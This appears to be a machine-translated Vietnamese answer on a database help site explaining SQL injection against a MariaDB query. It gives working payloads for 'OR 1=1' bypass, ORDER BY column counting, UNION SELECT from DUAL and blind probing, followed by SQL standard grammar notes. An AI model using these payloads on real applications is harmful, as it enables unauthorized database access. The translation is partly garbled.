Mysql
 sql >> Cơ Sở Dữ Liệu >  >> RDS >> Mysql

MariaDb SQL Injection

Ok, hãy vui vẻ đi.

Khi tôi xem thông báo lỗi

Giả sử rằng truy vấn và mã trong ứng dụng ít nhiều giống như giả này, @o thực tế là một biến người dùng MySQL ..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Tôi sẽ sử dụng một SQL fiddle khoảng trắng để mô phỏng thử nghiệm chèn SQL và nhiều quyền truy cập có thể hơn vào các bảng khác.

Bạn có thể kiểm tra tiêm của mình bằng 1' OR 1 = 1# hoặc 1' OR 1 = 1-- cả hai đều hoạt động và sẽ cung cấp cho bạn cùng một kết quả khi bạn sử dụng 1 làm đầu vào. Điều này là do MariaDB tự động đang truyền các loại cho các cơ sở dữ liệu khác mà bạn có thể cần sử dụng phiên bản nghiêm ngặt hơn 1' OR '1' = '1#

Cái nào sẽ tạo ra

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Hoặc

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Sau đó, vì bạn thấy lỗi trong ứng dụng, bạn có thể sử dụng ORDER BY 1 để kiểm tra xem có bao nhiêu cột được chọn và tăng số lượng cho đến khi bạn gặp lỗi.

Lỗi:ER_BAD_FIELD_ERROR:Cột '2' không xác định trong 'mệnh đề đơn hàng'

Tiêm bằng

1' ORDER BY 1# hoặc 1' ORDER BY 1--

Có nghĩa là sắp xếp trên cột đầu tiên trong tập kết quả KHÔNG sắp xếp 1 theo nghĩa đen.

Tạo

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Hoặc

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Khi bạn biết các cột, bạn có thể sử dụng UNION để vào các bảng khác. Sử dụng NULL nếu bạn không cần tất cả các cột.

tiêm

1' UNION ALL SELECT NULL FROM DUAL#

Lưu ý rằng DUAL là một bảng "ảo" không tồn tại trong MariaDB, MySQL và Oracle, nếu bạn có thể truy vấn "bảng" này, điều đó có nghĩa là về mặt kỹ thuật, bạn cũng có thể truy cập vào các bảng khác.

SQL được tạo

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

Và nếu trang web được thiết kế dưới dạng trang "chi tiết" nơi một bản ghi luôn hiển thị, bạn cần thêm LIMIT 1, 1 trong mũi tiêm của bạn.

Điều gì sẽ xảy ra nếu không có lỗi nào hiển thị trong ứng dụng web, bạn sẽ chỉ có thể mù quáng bruteforce geuss với việc tiêm SQL mù và xem ứng dụng hoạt động như thế nào.
Cũng thử những thứ như ?o=0 , ?o=NULL hoặc một số rất cao như giá trị INT tối đa (Đã ký) ?o=2147483647 hoặc (chưa dấu) ?o=4294967295 trước khi cố gắng thực thi số cột đã sử dụng để bạn biết cách ứng dụng xử lý các bản ghi không thể tìm thấy. Bởi vì nó rất khó có id 0 hoặc các số cao đó trên INT kiểu dữ liệu, vì ứng dụng sẽ ngừng hoạt động nếu số cuối cùng được cung cấp. Nếu bạn vẫn nhận được bản ghi với các số cao đó, hãy sử dụng các giá trị tối đa cho BIGINT kiểu dữ liệu thay thế.

Đối với cột 1, cùng một kết quả, id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Đối với cột 2 sẽ bị lỗi nhưng hầu hết có khả năng bạn sẽ thấy trang lỗi hoặc thông báo không tìm thấy bản ghi.
Hoặc trạng thái lỗi HTTP 404 (Không tìm thấy).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Một sự cố bạn có thể gặp phải khi sử dụng LIMIT mà không sử dụng ORDER BY có thể là cơ hội nhận được các bản ghi giống nhau vì tiêu chuẩn SQL đã xác định rằng các bảng / tập kết quả SQL là không có thứ tự mà không sử dụng ORDER BY

Vì vậy, lý tưởng nhất là bạn cần tiếp tục sử dụng ORDER BY 1 trong bruteforces.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Cơ sở dữ liệu hỗ trợ cho ORDER BY 1 tốt hơn thì tôi đã nghĩ lúc đầu vì nó hoạt động trong MySQL, MariaDB, SQL Server (MSSQL) và PostgreSQL.

Đồng thời ORDER BY 1 là một tính năng của SQL 92 đã bị loại bỏ trong SQL 99.
Vì vậy, thực tế cơ sở dữ liệu SQL không nên thực thi ORDER BY 1 hơn nữa nếu họ tuân theo các tiêu chuẩn SQL về điểm này.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

so với SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC


  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Làm thế nào để xử lý việc lưu trữ khổng lồ các bản ghi trong cơ sở dữ liệu cho mục đích ủy quyền người dùng?

  2. mysql.connector.errors.ProgrammingError:1064 (4200):Bạn có lỗi trong cú pháp SQL của mình;

  3. Câu lệnh hợp nhất có sẵn trong MySQL không

  4. Nâng cấp MySQL lên MariaDB 10 (Phần 2 - Nâng cấp MariaDB / MySQL 5.5 lên Phiên bản 10.0)

  5. Truy vấn LIKE trong MySQL với dấu gạch dưới